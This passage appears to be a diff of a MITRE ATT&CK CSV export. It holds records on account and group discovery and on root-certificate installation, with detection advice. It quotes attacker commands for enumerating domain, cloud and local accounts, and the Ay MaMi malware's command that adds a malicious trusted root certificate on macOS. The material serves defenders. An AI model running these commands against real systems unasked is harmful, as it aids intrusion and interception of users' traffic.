taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.",True,['User'],"['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1069/002', 'external_id': 'T1069.002'}]",1.0,attack-pattern,attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:15:06.561Z,2020-03-12T19:07:53.043Z,Domain Groups,"Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators. -Commands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.",attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c,attack-pattern,['discovery'],2020-03-12T19:07:53.043Z,2020-02-21T21:15:06.561Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Commands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.",['discovery'],https://attack.mitre.org/techniques/T1069/002,mitre-attack,T1069.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Command: Command Execution']",,,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1087.004', 'url': 'https://attack.mitre.org/techniques/T1087/004'}, {'description': 'Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0', 'source_name': 'Microsoft msolrolemember'}, {'description': 'Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.', 'url': 'https://github.com/True-Demon/raindance', 'source_name': 'GitHub Raindance'}, {'description': 'Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest', 'source_name': 'Microsoft AZ CLI'}, {'description': 'Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.', 'url': 'https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/', 'source_name': 'Black Hills Red Teaming MS AD Azure, 2018'}, {'source_name': 'AWS List Roles', 'description': 'Amazon. (n.d.). List Roles. Retrieved August 11, 2020.', 'url': 'https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html'}, {'source_name': 'AWS List Users', 'url': 'https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html', 'description': 'Amazon. (n.d.). List Users. Retrieved August 11, 2020.'}, {'source_name': 'Google Cloud - IAM Servie Accounts List API', 'url': 'https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list', 'description': 'Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,True,https://attack.mitre.org/techniques/T1087/004,mitre-attack,T1087.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Cloud Account,"Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1087/004', 'external_id': 'T1087.004'}, {'source_name': 'Microsoft msolrolemember', 'description': 'Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0'}, {'source_name': 'GitHub Raindance', 'description': 'Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.', 'url': 'https://github.com/True-Demon/raindance'}, {'source_name': 'Microsoft AZ CLI', 'description': 'Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest'}, {'source_name': 'Black Hills Red Teaming MS AD Azure, 2018', 'description': 'Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.', 'url': 'https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/'}, {'source_name': 'AWS List Roles', 'description': 'Amazon. (n.d.). List Roles. Retrieved August 11, 2020.', 'url': 'https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html'}, {'source_name': 'AWS List Users', 'description': 'Amazon. (n.d.). List Users. Retrieved August 11, 2020.', 'url': 'https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html'}, {'source_name': 'Google Cloud - IAM Servie Accounts List API', 'description': 'Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.', 'url': 'https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list'}]",1.2,attack-pattern,attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:08:36.570Z,2021-03-16T12:54:41.133Z,Cloud Account,"Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. With authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) -The AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)",attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe,attack-pattern,['discovery'],2021-03-16T12:54:41.133Z,2020-02-21T21:08:36.570Z,"Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery. +The AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)",['discovery'],https://attack.mitre.org/techniques/T1087/004,mitre-attack,T1087.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['User Account: User Account Metadata', 'Command: Command Execution']",,"Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery. -System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.","['User Account: User Account Metadata', 'Command: Command Execution']",['Praetorian'],,['User'],"['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1087.003', 'url': 'https://attack.mitre.org/techniques/T1087/003'}, {'source_name': 'Microsoft Exchange Address Lists', 'url': 'https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019', 'description': 'Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.'}, {'source_name': 'Microsoft getglobaladdresslist', 'url': 'https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist', 'description': 'Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.'}, {'description': 'Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.', 'url': 'https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/', 'source_name': 'Black Hills Attacking Exchange MailSniper, 2016'}, {'source_name': 'Google Workspace Global Access List', 'url': 'https://support.google.com/a/answer/166870?hl=en', 'description': 'Google. (n.d.). Retrieved March 16, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.1,True,https://attack.mitre.org/techniques/T1087/003,mitre-attack,T1087.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Email Account,"Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists) +System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.",True,['User'],"['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1087/003', 'external_id': 'T1087.003'}, {'source_name': 'Microsoft Exchange Address Lists', 'description': 'Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.', 'url': 'https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019'}, {'source_name': 'Microsoft getglobaladdresslist', 'description': 'Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist'}, {'source_name': 'Black Hills Attacking Exchange MailSniper, 2016', 'description': 'Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.', 'url': 'https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/'}, {'source_name': 'Google Workspace Global Access List', 'description': 'Google. (n.d.). Retrieved March 16, 2021.', 'url': 'https://support.google.com/a/answer/166870?hl=en'}]",1.1,attack-pattern,attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:08:33.237Z,2021-03-31T13:10:46.302Z,Email Account,"Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists) In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016) -In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)",attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470,attack-pattern,['discovery'],2021-03-31T13:10:46.302Z,2020-02-21T21:08:33.237Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)",['discovery'],https://attack.mitre.org/techniques/T1087/003,mitre-attack,T1087.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['User Account: User Account Metadata', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['User Account: User Account Metadata', 'Command: Command Execution']",,,['User'],"['Windows', 'Office 365', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1087.002', 'url': 'https://attack.mitre.org/techniques/T1087/002'}, {'external_id': 'CAPEC-575', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/575.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.0,True,https://attack.mitre.org/techniques/T1087/002,mitre-attack,T1087.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Account,"Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",True,['User'],"['Windows', 'Office 365', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1087/002', 'external_id': 'T1087.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/575.html', 'external_id': 'CAPEC-575'}]",1.0,attack-pattern,attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:08:26.480Z,2021-10-13T14:05:14.784Z,Domain Account,"Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior. + +Commands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups.",['discovery'],https://attack.mitre.org/techniques/T1087/002,mitre-attack,T1087.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Commands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups.",attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af,attack-pattern,['discovery'],2020-03-26T13:42:34.402Z,2020-02-21T21:08:26.480Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -","['Process: Process Creation', 'Command: Command Execution']",,,['User'],"['Linux', 'macOS', 'Windows']",,CAPEC-575,https://capec.mitre.org/data/definitions/575.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1087.001', 'url': 'https://attack.mitre.org/techniques/T1087/001'}, {'source_name': 'Elastic - Koadiac Detection with EQL', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.1,True,https://attack.mitre.org/techniques/T1087/001,mitre-attack,T1087.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Local Account,"Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior. +",True,['User'],"['Linux', 'macOS', 'Windows']",,CAPEC-575,https://capec.mitre.org/data/definitions/575.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1087/001', 'external_id': 'T1087.001'}, {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'}]",1.2,attack-pattern,attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:07:55.393Z,2021-07-28T18:05:24.567Z,Local Account,"Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior. -Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file.",attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e,attack-pattern,['discovery'],2021-04-13T21:39:08.728Z,2020-02-21T21:07:55.393Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.",['discovery'],https://attack.mitre.org/techniques/T1087/001,mitre-attack,T1087.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Daniel Stepanic, Elastic']","['Process: Process Creation', 'Command: Command Execution', 'File: File Access']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)","['Process: Process Creation', 'Command: Command Execution', 'File: File Access']","['Daniel Stepanic, Elastic']",,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1553.004', 'url': 'https://attack.mitre.org/techniques/T1553/004'}, {'external_id': 'CAPEC-479', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/479.html'}, {'url': 'https://en.wikipedia.org/wiki/Root_certificate', 'description': 'Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.', 'source_name': 'Wikipedia Root Certificate'}, {'url': 'http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf', 'description': 'Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.', 'source_name': 'Operation Emmental'}, {'url': 'https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/', 'description': 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.', 'source_name': 'Kaspersky Superfish'}, {'url': 'https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec', 'description': 'Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.', 'source_name': 'SpectorOps Code Signing Dec 2017'}, {'url': 'https://objective-see.com/blog/blog_0x26.html', 'description': 'Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.', 'source_name': 'objective-see ay mami 2018'}, {'url': 'https://docs.microsoft.com/sysinternals/downloads/sigcheck', 'description': 'Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.', 'source_name': 'Microsoft Sigcheck May 2017'}, {'url': 'https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/', 'description': 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.', 'source_name': 'Tripwire AppUNBlocker'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1553/004,mitre-attack,T1553.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Install Root Certificate,"Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. +Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553/004', 'external_id': 'T1553.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/479.html', 'external_id': 'CAPEC-479'}, {'source_name': 'Wikipedia Root Certificate', 'description': 'Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.', 'url': 'https://en.wikipedia.org/wiki/Root_certificate'}, {'source_name': 'Operation Emmental', 'description': 'Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.', 'url': 'http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf'}, {'source_name': 'Kaspersky Superfish', 'description': 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.', 'url': 'https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/'}, {'source_name': 'SpectorOps Code Signing Dec 2017', 'description': 'Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.', 'url': 'https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec'}, {'source_name': 'objective-see ay mami 2018', 'description': 'Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.', 'url': 'https://objective-see.com/blog/blog_0x26.html'}, {'source_name': 'Microsoft Sigcheck May 2017', 'description': 'Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/sigcheck'}, {'source_name': 'Tripwire AppUNBlocker', 'description': 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.', 'url': 'https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/'}]",1.1,attack-pattern,attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:05:32.844Z,2021-08-25T19:39:07.001Z,Install Root Certificate,"Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. -Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental) +Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental) -Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish) +Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish) -Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017) +Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017) -In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)",attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839,attack-pattern,['defense-evasion'],2020-03-19T20:31:11.389Z,2020-02-21T21:05:32.844Z,"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017) +In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)",['defense-evasion'],https://attack.mitre.org/techniques/T1553/004,mitre-attack,T1553.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matt Graeber, @mattifestation, SpecterOps', 'Red Canary', 'Travis Smith, Tripwire', 'Itzik Kotler, SafeBreach']","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution']",['Digital Certificate Validation'],"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017) -Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker) +Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker) * 